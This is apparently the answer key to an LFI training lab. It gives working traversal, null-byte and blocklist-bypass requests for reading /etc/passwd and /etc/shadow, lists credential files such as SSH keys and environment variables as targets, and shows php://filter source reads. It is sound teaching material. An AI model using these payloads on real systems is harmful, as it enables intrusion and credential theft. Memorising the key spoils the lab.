LFI solutions ============= The parameter is field2_name on all four pages. rat.php is the application; the three endPoint pages are the same read behind progressively worse filters. A note before you start ----------------------- The filesystem you are reading is not this server's. Every path resolves inside a small invented Linux box that ships with the labs, so the payloads below are the real ones and the files they return are planted. That is deliberate: the bug is the lesson, somebody else's /etc/shadow is not. Endpoint 1 - no filter at all ----------------------------- /LFI/endPoint.php?field2_name=/etc/passwd /LFI/endPoint.php?field2_name=/../../../../../etc/passwd /LFI/endPoint.php?field2_name=../../../../etc/passwd All three work. Extra ../ does no harm - the root of a filesystem is its own parent, which is why you can send more levels than you need and still land on target. Start there when you do not know how deep you are. Endpoint 2 - a filter that strips slashes ----------------------------------------- /LFI/endPoint.php?field2_name=/etc/passwd -> nothing Read the code: the filter only runs when the path does not end in a null byte. So end it with one and the filter never executes. /LFI/endPoint-2.php?field2_name=/etc/passwd%00 /LFI/endPoint-2.php?field2_name=../../../../etc/passwd%00 Endpoint 3 - the same filter plus a blocklist --------------------------------------------- Now "etc/passwd" is deleted from your input as well, so the endpoint 2 payload comes back empty. Two bugs in that blocklist, either one is enough: 1. strpos() returns 0 when the match is at the very start of the string, and 0 is falsy, so the blocklist never fires on input that begins with the blocked word. 2. str_replace() is a single pass. Nest the payload inside itself and what comes out the other side is the payload: /etetc/passwdc/passwd -> /etc/passwd /LFI/endPoint-3.php?field2_name=/etetc/passwdc/passwd%00 Or sidestep it entirely - the blocklist only knows about one filename: /LFI/endPoint-3.php?field2_name=/etc/shadow%00 Worth reading once you are through ---------------------------------- /etc/passwd is how you prove the bug. These are how you prove it matters: /proc/self/environ the environment, which is where a deploy script leaves its credentials /root/.bash_history what the last admin typed, in full /root/.ssh/id_rsa the key the deploy job uses /etc/mysql/debian.cnf a database account /etc/apache2/sites-enabled/000-default.conf the internal paths you cannot reach from outside /var/log/apache2/access.log who else has been here /home/rat/notes.txt start here, it names the rest Reading source instead of data ------------------------------ A PHP file read this way renders as nothing: PHP executes it and it prints no output. php://filter encodes the file before you receive it, so you get source instead of a blank page. /LFI/endPoint.php?field2_name=php://filter/convert.base64-encode/resource=/var/www/html/config.php Base64-decode the result. Works on the lab's own source too: /LFI/endPoint.php?field2_name=php://filter/convert.base64-encode/resource=rat.php convert.iconv chains are turned off on this host. They are the primitive behind turning a filter read into code execution, and that is one to practise on a machine you own rather than a shared one.